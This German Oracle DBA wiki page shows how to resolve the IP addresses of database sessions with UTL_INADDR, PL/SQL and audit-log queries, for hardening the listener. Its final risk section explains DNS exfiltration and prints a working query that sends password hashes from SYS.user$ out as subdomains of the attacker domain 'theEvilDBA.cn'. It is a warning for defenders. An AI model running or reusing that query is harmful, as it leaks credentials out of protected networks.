=====nslookup in der Datenbank - mit SQL die IP Adresse einer angemeldeten Session ermitteln===== ** min. ab 10g** Die Aufgabe besteht darin, in einer Datenbank Umgebung zu prüfen, aus welchen Netzen sich Server und PC's an der Datenbank anmelden. Die gesammelten IP Adressen können dann wiederum verwendet werden um mit einer Acess Liste den Listener der DB zu härten. {{ :images:toskana_kueste.png?direct | An der Küste der unteren Toskana Höhe Piombino mit Blick auf Elba}} In der MACHINE Spalte der v$session wird der Name eines Servers ablegt. Allerdings nur die der Form wie der SQL*Net Client auf dem Servers diese erkennt und dann auch zum Server überträgt. Daher können auch gelegentlich sehr untypische oder unvollständige Namen gefunden werden. Auch kann natürlich der Name gefälscht worden sein, der DB Server hat ja keine Möglichkeit das zu prüfen. ==== Manuell Abfragen der Server Namen ==== Will man nun die IP Adresse dazu ermitteln, kann ein nslookup in der Datenbank durchgeführt werden. Über SQL*Plus mit dem dazugehörigen DB Funktionen: format result a40 -- NS Lookup auf einen Namen SELECT UTL_INADDR.get_host_address('www.pipperr.de') as result FROM dual; -- NS Lookup auf ein IP Adresse SELECT UTL_INADDR.get_host_name('10.10.10.1') as result FROM dual; -- Name des DB Servers SELECT UTL_INADDR.get_host_name as result FROM dual; -- die IP Adresse des Datenbank Servers SELECT UTL_INADDR.get_host_address as result from dual; Netze und [[http://www.howtogeek.com/225487/what-is-the-difference-between-127.0.0.1-and-0.0.0.0/|0.0.0.0]] abfragen: -- 0.0.0.0 and :: will be resolved to the hostname of the DB SELECT UTL_INADDR.get_host_name('0.0.0.0') AS RESULT FROM dual; SELECT UTL_INADDR.get_host_name('::') AS RESULT FROM dual; -- if you query a network it take a suspicion long time to get an error -- May be an attack vector .-) SELECT UTL_INADDR.get_host_name('255.255.255.0') AS RESULT FROM dual; Unter Oracle 12c muss allerdings die Netzwerk Security es zulassen, das hier das DNS Protokoll aus der DB heraus genützt werden kann. Als SYS User scheint das aber keine Rolle zu spielen. Bei einem "ORA-24247: Netzwerkzugriff von Access Control-Liste (ACL) abgelehnt" muss hier dann eine entsprechende ACL hinterlegt werden, siehe [[https://docs.oracle.com/database/121/ARPLS/d_networkacl_adm.htm#ARPLS74575|DBMS_NETWORK_ACL_ADMIN - Oracle 12c Doku]] Beispiel für 12c für den User Scott: BEGIN DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE( host => '*', ace => xs$ace_type(privilege_list => xs$name_list('resolve'), principal_name => 'scott', principal_type => xs_acl.ptype_db)); END; / commit; Die ACL Definition ist allerdings mit höchster Vorsicht durchzuführen und benötigt für produktive Maschinen jetzt noch mehr Recherche und Vorsicht! Auf den ersten Blick ist das nicht so recht transparent welche Seiteneffekte hier auftreten können und was dann plötzlich alles zusätzlich noch so ungewünschtes funktioniert! ---- ==== Alle IP Adressen der Remote Maschinen aus der v$session ermitteln ==== Im ersten Schritt wird daher versucht eine Liste aller Remote Server Namen + IP Adresse zu erstellen. Dazu wird eine Hilfsfunktion erstellt um die möglichen Exception besser verarbeiten zu können. Auch muss für die Namesauflösung der Domain Part der Windows Maschinen entfernt werden. Die Hilfsfunktion im einen None-SYS Schema anlegen: -- Function to normalise the server names and resolve ip address -- Don't create this is a SYS or SYSTEM Schema! create or replace function scott.resolve_machine_name(p_machine varchar2) return varchar2 is HOST_NOT_FOUND EXCEPTION; PRAGMA exception_init(HOST_NOT_FOUND, -29257); v_remote_name varchar2(255); v_return varchar2(512); begin -- remove the windows Domain if exits if instr(p_machine,'\') > 1 then v_remote_name:=substr(p_machine,instr(p_machine,'\')+1); else v_remote_name:=p_machine; end if; -- resolve Name begin v_return:=UTL_INADDR.GET_HOST_ADDRESS(v_remote_name); exception when HOST_NOT_FOUND then v_return:='IP not resolved'; when others then v_return:=sqlcode|| '-'|| sqlerrm; end; return v_return; end; / v$session abfragen mit: -- Query the v$session column machine format a30 column pc_name format a30 column domain_name format a20 column ip_adress format a16 select count(*) as connections ,lower(machine) as machine ,lower(substr(machine,0,instr(machine,'\')-1)) as domain_name ,lower(substr(machine,instr(machine,'\')+1)) as pc_name ,scott.resolve_machine_name(p_machine => machine) as ip_adress from v$session group by machine / CONNECTIONS MACHINE DOMAIN_NAME PC_NAME IP_ADRESS ------------ ------------------------------ -------------------- ------------------------------ ---------------- 1 workgroup\jupiter workgroup jupiter 192.168.178.26 37 jupiter jupiter 192.168.178.26 Steht das Diagnostic Pack zur Verfügung kann auch die Vergangenheit über die GV$ACTIVE_SESSION_HISTORY oder die DBA_HIST_ACTIVE_SESS_HISTORY der DB betrachtet werden: select count(*) as connections ,lower(machine) as machine ,substr(lower(machine),0,instr(lower(machine),'\')-1) as domain_name ,substr(lower(machine),instr(lower(machine),'\')+1) as pc_name ,scott.resolve_machine_name(p_machine => lower(machine)) as ip_adress from DBA_HIST_ACTIVE_SESS_HISTORY group by lower(machine) / Nicht alle Namen lassen sich dann so leider auflösen, je nach dem wie gut und nah der Datenbank Server in das DNS der Firma eingebunden ist. Die Daten können nun in eine Excel Liste übertragen und weiter aufbereitet werden. Soll auch das automatisiert werden, kann das zum Beispiel über Python oder die PowerShell erfolgen. DNS Abfrage mit Python: import socket result=socket.getaddrinfo('jupiter',None) for record in result: ip=record[4] ip[0] siehe [[https://docs.python.org/3/library/socket.html|18.1. socket — Low-level networking interface]] DNS Abfrage mit der Powershell: (Resolve-DnsName jupiter).IpAddress siehe [[https://technet.microsoft.com/en-us/library/jj590781%28v=wps.630%29.aspx|TechNet Resolve-DnsName]] Daten einlesen, mit diesen Methoden die Daten analysieren, CSV Datei aus den Daten erstellen und speichern. Das kann auch direkt über die Datenbank Tabelle erfolgen, entsprechend dann zuvor an der DB anmelden, Daten abfragen und Ergebnis CSV erstellen. ---- ==== IP Adressen aus dem Audit Log auslesen==== Kann über DNS die IP Adresse nicht aufgelöst werden hilft auch ein Blick in das Audit Log der Datenbank. Ist das Auditing aktiviert, kann über die Spalte "comment_text" beim LOGIN/LOGOFF Event der SQL Connect Strings nach der Client IP Adresse analysiert werden: select count(*) , userhost , comment_text from dba_audit_trail where action_name in ('LOGOFF','LOGON') and upper (userhost) in (upper (‘primgpi01’),upper (‘primgpi01.local’)) group by userhost,comment_text order by 1 / .... 1 primgpi01.local Authenticated by: DATABASE; Client address: (ADDRESS=(PROTOCOL=tcp)(HOST=10.10.10.23)(PORT=43795)) (PROGRAM="JDBC Thin Client") .... Falls das Auditing nicht aktiviert ist, hilft dann noch der Blick in das Listner Log. ---- ==== Risiko der DNS Auflösung über die Datenbank ==== Ist der Datenbank Server an einen DNS Server mit Weiterleitung von Namensanfragen an das öffentliche Netz verbunden, kann das sehr schön dazu verwendet werden, die Daten aus dem internen Hochsicherheitsnetz der Firma zu exportieren. Einfach die Subdomain mit den zu übertragenden Wert definieren und einen eigenen Domain Server für die eigene Domain im Internet betrieben. Da alle unbekannten Subdomain Anfragen an den Authoritative DNS Server delegiert werden, können dann im Log einfach die gewünschten Daten wieder gefunden werden. select UTL_INADDR.get_host_address(password||'.theEvilDBA.cn') FROM user$ / Gibt zwar auf der DB sehr viele Fehlermeldungen aber die Daten tauchen gleichzeitg dann auch im Log des DNS Server für die Domain "theEvilDBA.cn" auf. Quelle: Viele Diskussionen und Fachgespräche mit Alexander Kornbrust. ---- ==== Quellen ==== Oracle * https://docs.oracle.com/database/121/ARPLS/u_inaddr.htm#ARPLS071 Netz: * https://oracle-base.com/articles/misc/identifying-host-names-and-addresses